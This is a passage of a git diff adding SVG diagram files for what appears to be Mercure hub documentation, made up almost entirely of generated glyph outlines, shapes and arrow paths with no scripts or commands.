-12.835938 1.546875 -12.921875 1.234375 -12.921875 L 0.453125 -12.921875 L 0.453125 -14.25 L 1.953125 -14.25 C 2.523438 -14.25 2.9375 -14.0625 3.1875 -13.6875 C 3.4375 -13.3125 3.5625 -12.804688 3.5625 -12.171875 L 3.5625 -7.15625 C 3.5625 -6.5625 3.671875 -6.128906 3.890625 -5.859375 C 4.117188 -5.585938 4.441406 -5.453125 4.859375 -5.453125 L 4.859375 -4.125 C 4.441406 -4.125 4.117188 -3.992188 3.890625 -3.734375 C 3.671875 -3.484375 3.5625 -3.007812 3.5625 -2.3125 Z M 3.5625 2.625 "/> +</symbol> +</g> +</defs> +<g id="surface73599"> +<rect x="0" y="0" width="584" height="268" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/> +<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-miterlimit:10;" d="M 1.5 7.6 L 30.5 7.6 L 30.5 20.8 L 1.5 20.8 Z M 1.5 7.6 " transform="matrix(20,0,0,20,-28,-150)"/> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 2.3 17 C 2.134375 17 2 17.134375 2 17.3 L 2 18.7 C 2 18.865625 2.134375 19 2.3 19 L 8.7 19 C 8.865625 19 9 18.865625 9 18.7 L 9 17.3 C 9 17.134375 8.865625 17 8.7 17 Z M 2.3 17 " transform="matrix(20,0,0,20,-28,-150)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="57.839844" y="218.00217"/> + <use xlink:href="#glyph0-2" x="67.284288" y="218.00217"/> + <use xlink:href="#glyph0-3" x="72.00651" y="218.00217"/> + <use xlink:href="#glyph0-4" x="76.450955" y="218.00217"/> + <use xlink:href="#glyph0-5" x="84.784288" y="218.00217"/> + <use xlink:href="#glyph0-6" x="93.673177" y="218.00217"/> + <use xlink:href="#glyph0-7" x="99.228733" y="218.00217"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 16.3 8 C 16.134375 8 16 8.134375 16 8.3 L 16 13.7 C 16 13.865625 16.134375 14 16.3 14 L 26.7 14 C 26.865625 14 27 13.865625 27 13.7 L 27 8.3 C 27 8.134375 26.865625 8 26.7 8 Z M 16.3 8 " transform="matrix(20,0,0,20,-28,-150)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-8" x="371.863281" y="65.302951"/> + <use xlink:href="#glyph0-9" x="380.474392" y="65.302951"/> + <use xlink:href="#glyph0-10" x="388.25217" y="65.302951"/> + <use xlink:href="#glyph0-11" x="401.585503" y="65.302951"/> + <use xlink:href="#glyph0-12" x="406.585503" y="65.302951"/> + <use xlink:href="#glyph0-5" x="415.474392" y="65.302951"/> + <use xlink:href="#glyph0-9" x="424.363281" y="65.302951"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-13" x="362.976563" y="90.701389"/> + <use xlink:href="#glyph0-14" x="371.032118" y="90.701389"/> + <use xlink:href="#glyph0-14" x="379.921007" y="90.701389"/> + <use xlink:href="#glyph0-2" x="388.809896" y="90.701389"/> + <use xlink:href="#glyph0-3" x="393.532118" y="90.701389"/> + <use xlink:href="#glyph0-15" x="397.976563" y="90.701389"/> + <use xlink:href="#glyph0-13" x="405.198785" y="90.701389"/> + <use xlink:href="#glyph0-6" x="413.25434" y="90.701389"/> + <use xlink:href="#glyph0-3" x="418.809896" y="90.701389"/> + <use xlink:href="#glyph0-12" x="423.25434" y="90.701389"/> + <use xlink:href="#glyph0-5" x="432.143229" y="90.701389"/> +</g> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 5.5 17 L 5.5 11 L 15.45 11 " transform="matrix(20,0,0,20,-28,-150)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15.45 11.25 L 15.95 11 L 15.45 10.75 Z M 15.45 11.25 " transform="matrix(20,0,0,20,-28,-150)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-16" x="82" y="60.00217"/> + <use xlink:href="#glyph0-17" x="92" y="60.00217"/> + <use xlink:href="#glyph0-18" x="100.611111" y="60.00217"/> + <use xlink:href="#glyph0-19" x="108.944444" y="60.00217"/> + <use xlink:href="#glyph0-20" x="113.388889" y="60.00217"/> + <use xlink:href="#glyph0-21" x="119.5" y="60.00217"/> + <use xlink:href="#glyph0-12" x="128.388889" y="60.00217"/> + <use xlink:href="#glyph0-12" x="137.277778" y="60.00217"/> + <use xlink:href="#glyph0-22" x="146.166667" y="60.00217"/> + <use xlink:href="#glyph0-7" x="153.944444" y="60.00217"/> + <use xlink:href="#glyph0-20" x="160.888889" y="60.00217"/> + <use xlink:href="#glyph0-23" x="167" y="60.00217"/> + <use xlink:href="#glyph0-24" x="176.166667" y="60.00217"/> + <use xlink:href="#glyph0-25" x="179.777778" y="60.00217"/> + <use xlink:href="#glyph0-7" x="184.222222" y="60.00217"/> + <use xlink:href="#glyph0-12" x="191.166667" y="60.00217"/> + <use xlink:href="#glyph0-5" x="200.055556" y="60.00217"/> + <use xlink:href="#glyph0-2" x="208.944444" y="60.00217"/> + <use xlink:href="#glyph0-26" x="213.666667" y="60.00217"/> +</g> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 21.5 14 L 21.5 18 L 9.55 18 " transform="matrix(20,0,0,20,-28,-150)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 9.55 17.75 L 9.05 18 L 9.55 18.25 Z M 9.55 17.75 " transform="matrix(20,0,0,20,-28,-150)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-27" x="192" y="230.701389"/> + <use xlink:href="#glyph0-3" x="200.333333" y="230.701389"/> + <use xlink:href="#glyph0-5" x="204.777778" y="230.701389"/> + <use xlink:href="#glyph0-22" x="213.666667" y="230.701389"/> + <use xlink:href="#glyph0-28" x="221.444444" y="230.701389"/> + <use xlink:href="#glyph0-19" x="225.611111" y="230.701389"/> + <use xlink:href="#glyph0-29" x="230.055556" y="230.701389"/> + <use xlink:href="#glyph0-30" x="238.388889" y="230.701389"/> + <use xlink:href="#glyph0-6" x="247.277778" y="230.701389"/> + <use xlink:href="#glyph0-6" x="252.833333" y="230.701389"/> + <use xlink:href="#glyph0-14" x="258.388889" y="230.701389"/> + <use xlink:href="#glyph0-7" x="267.277778" y="230.701389"/> + <use xlink:href="#glyph0-28" x="274.222222" y="230.701389"/> + <use xlink:href="#glyph0-20" x="278.944444" y="230.701389"/> + <use xlink:href="#glyph0-20" x="285.055556" y="230.701389"/> + <use xlink:href="#glyph0-26" x="291.166667" y="230.701389"/> + <use xlink:href="#glyph0-4" x="300.055556" y="230.701389"/> + <use xlink:href="#glyph0-10" x="308.388889" y="230.701389"/> + <use xlink:href="#glyph0-12" x="321.722222" y="230.701389"/> + <use xlink:href="#glyph0-24" x="330.333333" y="230.701389"/> + <use xlink:href="#glyph0-10" x="333.944444" y="230.701389"/> + <use xlink:href="#glyph0-4" x="347.277778" y="230.701389"/> + <use xlink:href="#glyph0-31" x="355.611111" y="230.701389"/> + <use xlink:href="#glyph0-15" x="361.166667" y="230.701389"/> + <use xlink:href="#glyph0-32" x="368.388889" y="230.701389"/> + <use xlink:href="#glyph0-31" x="377.277778" y="230.701389"/> + <use xlink:href="#glyph0-4" x="382.833333" y="230.701389"/> + <use xlink:href="#glyph0-24" x="391.166667" y="230.701389"/> + <use xlink:href="#glyph0-31" x="394.777778" y="230.701389"/> + <use xlink:href="#glyph0-12" x="400.333333" y="230.701389"/> + <use xlink:href="#glyph0-15" x="409.222222" y="230.701389"/> + <use xlink:href="#glyph0-22" x="416.444444" y="230.701389"/> + <use xlink:href="#glyph0-7" x="424.222222" y="230.701389"/> + <use xlink:href="#glyph0-20" x="431.166667" y="230.701389"/> + <use xlink:href="#glyph0-30" x="437.277778" y="230.701389"/> + <use xlink:href="#glyph0-32" x="446.166667" y="230.701389"/> + <use xlink:href="#glyph0-21" x="455.055556" y="230.701389"/> + <use xlink:href="#glyph0-33" x="463.944444" y="230.701389"/> + <use xlink:href="#glyph0-34" x="472.277778" y="230.701389"/> + <use xlink:href="#glyph0-19" x="476.722222" y="230.701389"/> + <use xlink:href="#glyph0-31" x="481.166667" y="230.701389"/> + <use xlink:href="#glyph0-4" x="486.722222" y="230.701389"/> + <use xlink:href="#glyph0-2" x="495.055556" y="230.701389"/> + <use xlink:href="#glyph0-35" x="499.777778" y="230.701389"/> + <use xlink:href="#glyph0-36" x="508.111111" y="230.701389"/> + <use xlink:href="#glyph0-10" x="512.833333" y="230.701389"/> + <use xlink:href="#glyph0-4" x="526.166667" y="230.701389"/> + <use xlink:href="#glyph0-31" x="534.5" y="230.701389"/> + <use xlink:href="#glyph0-15" x="540.055556" y="230.701389"/> + <use xlink:href="#glyph0-32" x="547.277778" y="230.701389"/> + <use xlink:href="#glyph0-31" x="556.166667" y="230.701389"/> + <use xlink:href="#glyph0-4" x="561.722222" y="230.701389"/> + <use xlink:href="#glyph0-36" x="569.777778" y="230.701389"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-37" x="192" y="256.103733"/> + <use xlink:href="#glyph0-36" x="197.833333" y="256.103733"/> + <use xlink:href="#glyph0-38" x="203.666667" y="256.103733"/> + <use xlink:href="#glyph0-3" x="221.166667" y="256.103733"/> + <use xlink:href="#glyph0-26" x="225.611111" y="256.103733"/> + <use xlink:href="#glyph0-36" x="234.5" y="256.103733"/> + <use xlink:href="#glyph0-28" x="240.333333" y="256.103733"/> + <use xlink:href="#glyph0-19" x="244.5" y="256.103733"/> + <use xlink:href="#glyph0-36" x="247.555556" y="256.103733"/> + <use xlink:href="#glyph0-20" x="253.388889" y="256.103733"/> + <use xlink:href="#glyph0-21" x="259.5" y="256.103733"/> + <use xlink:href="#glyph0-12" x="268.388889" y="256.103733"/> + <use xlink:href="#glyph0-12" x="277.277778" y="256.103733"/> + <use xlink:href="#glyph0-22" x="286.166667" y="256.103733"/> + <use xlink:href="#glyph0-7" x="293.944444" y="256.103733"/> + <use xlink:href="#glyph0-20" x="300.888889" y="256.103733"/> + <use xlink:href="#glyph0-23" x="307" y="256.103733"/> + <use xlink:href="#glyph0-24" x="316.166667" y="256.103733"/> + <use xlink:href="#glyph0-25" x="319.777778" y="256.103733"/> + <use xlink:href="#glyph0-7" x="324.222222" y="256.103733"/> + <use xlink:href="#glyph0-12" x="331.166667" y="256.103733"/> + <use xlink:href="#glyph0-5" x="340.055556" y="256.103733"/> + <use xlink:href="#glyph0-2" x="348.944444" y="256.103733"/> + <use xlink:href="#glyph0-26" x="353.666667" y="256.103733"/> + <use xlink:href="#glyph0-36" x="362.555556" y="256.103733"/> + <use xlink:href="#glyph0-39" x="366.444444" y="256.103733"/> + <use xlink:href="#glyph0-19" x="368.944444" y="256.103733"/> + <use xlink:href="#glyph0-36" x="372" y="256.103733"/> + <use xlink:href="#glyph0-6" x="377.833333" y="256.103733"/> + <use xlink:href="#glyph0-3" x="383.388889" y="256.103733"/> + <use xlink:href="#glyph0-6" x="387.833333" y="256.103733"/> + <use xlink:href="#glyph0-2" x="393.388889" y="256.103733"/> + <use xlink:href="#glyph0-4" x="398.111111" y="256.103733"/> + <use xlink:href="#glyph0-36" x="406.166667" y="256.103733"/> + <use xlink:href="#glyph0-28" x="412" y="256.103733"/> + <use xlink:href="#glyph0-19" x="416.166667" y="256.103733"/> + <use xlink:href="#glyph0-36" x="419.222222" y="256.103733"/> + <use xlink:href="#glyph0-40" x="425.055556" y="256.103733"/> + <use xlink:href="#glyph0-12" x="433.388889" y="256.103733"/> + <use xlink:href="#glyph0-12" x="442.277778" y="256.103733"/> + <use xlink:href="#glyph0-36" x="450.055556" y="256.103733"/> + <use xlink:href="#glyph0-41" x="455.888889" y="256.103733"/> +</g> +</g> +</svg> diff --git a/_images/mercure/hub.svg b/_images/mercure/hub.svg new file mode 100644 index 00000000000..6b5e496e3c6 --- /dev/null +++ b/_images/mercure/hub.svg @@ -0,0 +1,196 @@ +<?xml version="1.0" encoding="UTF-8"?> +<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="584pt" height="204pt" viewBox="0 0 584 204" version="1.1"> +<defs> +<g> +<symbol overflow="visible" id="glyph0-0"> +<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/> +</symbol> +<symbol overflow="visible" id="glyph0-1"> +<path style="stroke:none;" d="M 10.125 -9.34375 L 10.3125 -11.5 L 10.21875 -11.5 L 9.578125 -9.5 L 6.703125 -3.3125 L 6.203125 -3.3125 L 3.1875 -9.5 L 2.5625 -11.5 L 2.484375 -11.5 L 2.765625 -9.34375 L 2.765625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.578125 -14.234375 L 6.015625 -7.234375 L 6.53125 -5.5625 L 6.5625 -5.5625 L 7.046875 -7.25 L 10.3125 -14.234375 L 11.640625 -14.234375 L 11.640625 0 L 10.125 0 Z M 10.125 -9.34375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-2"> +<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-3"> +<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-4"> +<path style="stroke:none;" d="M 6.8125 -0.515625 C 6.46875 -0.253906 6.078125 -0.0625 5.640625 0.0625 C 5.210938 0.1875 4.765625 0.25 4.296875 0.25 C 3.640625 0.25 3.085938 0.125 2.640625 -0.125 C 2.191406 -0.382812 1.828125 -0.742188 1.546875 -1.203125 C 1.273438 -1.671875 1.070312 -2.234375 0.9375 -2.890625 C 0.8125 -3.546875 0.75 -4.273438 0.75 -5.078125 C 0.75 -6.816406 1.054688 -8.140625 1.671875 -9.046875 C 2.296875 -9.953125 3.179688 -10.40625 4.328125 -10.40625 C 4.859375 -10.40625 5.3125 -10.359375 5.6875 -10.265625 C 6.070312 -10.171875 6.398438 -10.050781 6.671875 -9.90625 L 6.265625 